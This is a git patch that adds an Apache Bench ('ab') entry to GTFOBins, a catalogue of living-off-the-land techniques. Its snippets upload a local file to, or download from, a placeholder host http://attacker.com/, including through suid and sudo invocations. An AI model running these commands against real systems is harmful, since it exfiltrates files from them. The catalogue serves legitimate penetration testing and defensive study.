From e357d8f73fd4c117117e3235c8906b1e3460a040 Mon Sep 17 00:00:00 2001 From: nikip72 <49496243+nikip72@users.noreply.github.com> Date: Sun, 16 Jan 2022 06:37:43 +0200 Subject: [PATCH] Add ab Co-authored-by: Nikola Pepelishev Co-authored-by: Andrea Cardaci --- _gtfobins/ab.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 _gtfobins/ab.md diff --git a/_gtfobins/ab.md b/_gtfobins/ab.md new file mode 100644 index 0000000..a816311 --- /dev/null +++ b/_gtfobins/ab.md @@ -0,0 +1,26 @@ +--- +functions: + file-upload: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + ab -p $LFILE $URL + file-download: + - description: Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length. + code: | + URL=http://attacker.com/file_to_download + ab -v2 $URL + suid: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + ./ab -p $LFILE $URL + sudo: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + sudo ab -p $LFILE $URL +---